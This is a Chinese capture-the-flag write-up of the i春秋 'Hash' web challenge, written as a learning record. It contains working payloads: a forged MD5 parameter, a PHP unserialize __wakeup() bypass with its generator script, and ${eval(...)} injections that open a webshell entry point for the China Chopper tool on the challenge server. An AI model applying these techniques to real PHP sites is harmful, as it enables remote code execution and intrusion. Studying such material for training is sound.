CTF-i春秋-Web-Hash
2020.09.17
哈哈,我又来了 i春秋
做题
Hash
- 打开链接,出现一个超链接,点进去,源码中出现线索
you are 123;if you are not 123,you can get the flag<br><!--$hash=md5($sign.$key);the length of $sign is 8
- 思路很简单,url是由key和hash组成,hash值是取自sign+key,我们现在知道key是123,对已知的hash进行破解,得到
kkkkkk01123
,所以sign是kkkkkk01
- 那么我们构造key=admin,再取
kkkkkk01admin
的md5为049f601185c0846faac45065a834b1c5
,新的payload./index.php?key=admin&hash=049f601185c0846faac45065a834b1c5
,OK,结果如下next step is Gu3ss_m3_h2h2.php
- 直接访问就可,接下来就是源码分析
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?>
- 从代码我们可以看到,传入var值,先进行过滤,然后反序列化,对我比较有用的wp,这里利用的就是反序列化时,修改序列化个数来对__wakeup()方法进行绕过,通过如下php可以构造payload
<?php
//类定义
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}
//新建类
$a = new Demo('f15g_1s_here.php');
// $a = new Demo('True_F1ag_i3_Here_233.php');
//序列化
$s = serialize($a);
//替换类开头如果匹配
$s = str_replace('O:4:','O:+4:',$s);
//替换类数量绕过__wakeup()函数
$s = str_replace(':1:',':2:',$s);
//base64加密并输出
echo base64_encode($s);
可得构造的payload Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6ODp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
- 然后就得到f15g_1s_here.php文件源码,再次分析,这里利用的是eval语句,思路是通过eval获取存储flag的文件,这里有多种方法
- 构造出POST的传入点,用菜刀连接主机后拿flag,payload:
http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}
- GET方法的利用,payload:
http://8a03ab0784034c4d950bfeff74d497dd61f047cf6f784a40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo
ls;
- 获取到真正的文件是
True_F1ag_i3_Here_233.php
,再利用第5步中的方法构造payload,输出flag
- 构造出POST的传入点,用菜刀连接主机后拿flag,payload:
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";'); //对一些符号进行转义,所以不能输入引号等符号
} else {
die('hahaha!');
}
?>
经验教训
- 序列化与反序列化用@serialize($var)和 @unserialize($var);
- 反序列化的时候,如果有__wakeup()方法,会先运行他,最后运行__destruct()方法;
- 序列化的结果一般是
O:4:"Demo":2:{s:10:"Demofile";s:16:"f15g_1s_here.php";}
这种形式,{
之前的是被序列化的个数,如果他的值大于真正的个数,那么__wakeup()方法将被绕过; - 我可以在vscode中创建php文件,并且可以通过终端
php decry.php
来运行他,可以用这种方法来得到一些需要php中方法计算的payload; /[oc]:\d+:/i
这个正则,匹配o:4,可以用o:+4来绕过- addslashes()会对单双引号、反斜杠、NULL进行转义,
eval('$value="' . addslashes($val) . '";');
可以用val=${eval($_GET[a])}&a=echo
ls;
来绕过
开心就完事了🥱
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!
赠人玫瑰🌹手有余香
能帮到你我很高兴
您的赞👍是我前进的动力,奥力给
Thanks for watching!